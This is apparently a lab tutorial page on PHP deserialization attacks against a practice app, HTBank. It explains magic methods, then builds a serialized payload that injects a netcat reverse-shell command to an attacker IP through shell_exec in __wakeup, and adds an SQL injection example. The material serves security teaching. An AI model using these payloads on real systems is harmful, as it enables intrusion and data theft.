Introduction to Deserialization Attacks  

RCE: Magic Methods


Magic Methods

In the previous section, we identified that we could give ourselves an @htbank.com email address and found an XSS vulnerability. As the last step, we will try to get remote code execution on the server.

Taking another look at app/Helpers/UserSettings.php we can see definitions for the functions __construct, __wakeup() and __sleep() at the bottom of the file:

...
    public function __construct($Name, $Email, $Password, $ProfilePic) {
        $this->setName($Name);
        $this->setEmail($Email);
        $this->setPassword($Password);
        $this->setProfilePic($ProfilePic);
    }

    public function __wakeup() {
        shell_exec('echo "$(date +\'[%d.%m.%Y %H:%M:%S]\') Imported settings for user \'' . $this->getName() . '\'" >> /tmp/htbank.log');
    }

    public function __sleep() {
        return array("Name", "Email", "Password", "ProfilePic");
    }
}

In PHP, functions whose names start with __ are reserved for the language. A subset of these functions are so-called magic methods which include functions like __sleep, __wakeup, __construct and __destruct. These are special methods that overwrite default PHP actions when invoked on an object.

In total, PHP has 17 magic methods. Ranked based on their usage in open-source projects, they are the following:

Method Description
__construct Define a constructor for a class. Called when a new instance is created. E.g. new Class()
__toString Define how an object reacts when treated as a string. E.g. echo $obj
__call Called when you try to call inaccessible methods in an object context E.g. $obj->doesntExist()
__get Called when you try to read inaccessible properties E.g. $obj->doesntExist
__set Called when you try to write inaccessible properties E.g. $obj->doesntExist = 1
__clone Called when you try to clone an object E.g. $copy = clone $object
__destruct Called when an object is destroyed (Opposite of constructor)
__isset Called when you try to call isset() or isempty() on inaccessible properties E.g. isset($obj->doesntExist)
__invoke Called when you try to invoke an object as a function, e.g. $obj()
__sleep Called when serializing an object. If __serialize and __sleep are defined, the latter is ignored. E.g. serialize($obj)
__wakeup Called when deserializing an object. If __unserialize and __wakeup are defined, the latter is ignored. E.g. unserialize($ser_obj)
__unset Called when you try to unset inaccessible properties E.g. unset($obj->doesntExist)
__callStatic Called when you try to call inaccessible methods in a static context E.g. Class::doesntExist()
__set_state Called when var_export is called on an object E.g. var_export($obj, true)
__debuginfo Called when var_dump is called on an object E.g. var_dump($obj)
__unserialize Called when deserializing an object. If __unserialize and __wakeup are defined, __unserialize is used. Only in PHP 7.4+. E.g. unserialize($obj)
__serialize Called when serializing an object. If __serialize and __sleep are defined, __serialize is used. Only in PHP 7.4+. E.g. unserialize($obj)

In our example, __construct overrides the default PHP constructor, allowing us to specify what should happen when a new UserSettings object is created (in this case assigning values from the constructor's parameters). Defining __sleep for the UserSettings object means that whenever the object is serialized this function will be executed prior. Similarly, __wakeup is called right before the object is deserialized.

Knowing what these methods are, __wakeup sticks out to us. We can see that the function is appending a line to /tmp/htbank.log every time a user is deserialized, which should be each time user settings are imported into the website. What especially stands out here is the use of shell_exec with a variable that we control ($this->getName() returns the Name property, which we can set).

Seeing that we can control part of the command that is passed to shell_exec, without any filters, this is an example of a simple command injection. If we set our name to begin with "; we can break out of the echo command and run whatever other command we want.


Getting a Reverse Shell

Knowing that a command injection should be possible, we can update exploit.php to set our name to "; nc -nv <ATTACKER_IP> 9999 -e /bin/bash; #

...
echo base64_encode(serialize(new \App\Helpers\UserSettings('"; nc -nv <ATTACKER_IP> 9999 -e /bin/bash;#', '[email protected]', '$2y$10$u5o6u2EbjOmobQjVtu87QO8ZwQsDd2zzoqjwS0.5zuPr3hqk9wfda', 'default.jpg')));
...

We will run exploit.php again to get our new payload:

[!bash!]$ php exploit.php 
TzoyNDoiQXBwXEhlbHBlcnNcVXNlclNldHRp...SNIP...d2ZkYSI7fQ==

We can update our local UserSettings.php to print out the entire command that will be passed to shell_exec, just to check if everything is good.

...
    public function __wakeup() {
        print('echo "$(date +\'[%d.%m.%Y %H:%M:%S]\') Imported settings for user \'' . $this->getName() . '\'" >> /tmp/htbank.log');
        shell_exec('echo "$(date +\'[%d.%m.%Y %H:%M:%S]\') Imported settings for user \'' . $this->getName() . '\'" >> /tmp/htbank.log');
    }
...

Testing Locally

First, we should start a local Netcat listener and test the payload locally.

[!bash!]$ php target.php 

TzoyNDoiQXBwXEhlbHBlcnNcVXNlclNldHRp...SNIP...d2ZkYSI7fQ==
echo "$(date +'[%d.%m.%Y %H:%M:%S]') Imported settings for user '"; nc -nv 127.0.0.1 9999 -e /bin/bash;#'" >> /tmp/htbank.logNcat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:9999.

We can see that the command injection was successful, and you may notice that none of the values were printed out like the other times we ran target.php (until we close Netcat).

Running against the Target

We can restart the listener on our attacking machine and once we import the payload into the web application we should get a reverse shell:

[!bash!]$ nc -nvlp 9999

Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 172.20.0.4.
Ncat: Connection from 172.20.0.4:43134.
ls -l
total 12
drwxr-xr-x 2 sammy sammy 4096 Oct  8 22:47 css
-rw-r--r-- 1 sammy sammy    0 Sep 20 13:19 favicon.ico
-rw-r--r-- 1 sammy sammy 1710 Sep 20 13:19 index.php
-rw-r--r-- 1 sammy sammy   24 Sep 20 13:19 robots.txt

Other Attacks

In the example of HTBank, we used deserialization to control input to shell_exec and thus control the command that was executed. However, deserialization is not exclusive to command injection and will not always result in remote code execution, depending on which magic functions the developers have defined. As an attacker, you must be creative and may find it possible to conduct attacks such as SQLi, LFI, and DoS via deserialization.

SQLi via Deserialization

Here is an example of a possible SQL injection via deserialization. Imagine the classes UserModel and UserProperty are copied from the source code of some targeted website, and POST_Check_User_Property is a recreation of how the website handles some example POST request which results in a UserProperty object being deserialized.

There are a lot of magic methods defined here, but a couple should stick out. We can see in UserModel.__get() that the MySQL database is queried for the $get column (for example $userModel->email will result in SELECT email FROM ...).

In UserProperty.__wakeup(), we can see that upon deserializing a UserProperty object, a new UserModel object is created and queried for the property, presumably to check if it was updated.

The problem is that we can supply the serialized UserProperty object via the POST_Check_User_Property endpoint, and thus we can control the query which will be executed in UserModel.__get leading to SQL injection.

<?php

class UserModel {
    function __construct($id) {
        $this->id = $id;
    }

    function __get($get) {
        $con = mysqli_connect("localhost", "XXXXX", "XXXXX", "htbank");
        $result = mysqli_query($con, "SELECT " . $get . " FROM users WHERE id = " . $this->id);
        $row = mysqli_fetch_row($result);
        mysqli_close($con);
        return $row[0];
    }
}

class UserProperty {
    function __construct($id, $prop) {
        $this->id = $id;
        $this->prop = $prop;
        $u = new UserModel($id);
        $this->val = $u->$prop;
    }

    function __toString() {
        return $this->val;
    }
    
    function __wakeup() {
        $u = new UserModel($this->id);
        $prop = $this->prop;
        $this->val = $u->$prop;
    }
}

function POST_Check_User_Property($ser) {
    // ...
    $u = unserialize($ser);
    // ...
    return $u;
}

// EXPECTED USAGE:
// $password = new UserProperty(1, "password");
// echo "The password of user with id '1' is '$password'\n";

For this example, we would be able to carry out the SQL injection attack like so:

$up = new UserProperty(1, "group_concat(table_name) from information_schema.tables where table_schema='htbank';-- ");
echo POST_Check_User_Property(serialize($up));

Running this results in proof the injection works:

[!bash!]$ php example.php

failed_jobs,migrations,password_resets,personal_access_tokens,users

VPN Servers

Warning: Each time you "Switch", your connection keys are regenerated and you must re-download your VPN connection file.

All VM instances associated with the old VPN Server will be terminated when switching to a new VPN server.
Existing PwnBox instances will automatically switch to the new VPN server.

Switching VPN...

PROTOCOL

/ 1 spawns left

Waiting to start...

Questions

Answer the question(s) below to complete this Section and earn cubes!

Click here to spawn the target system!

Target: Click here to spawn the target system!

+10 Streak pts

Previous

+10 Streak pts

Next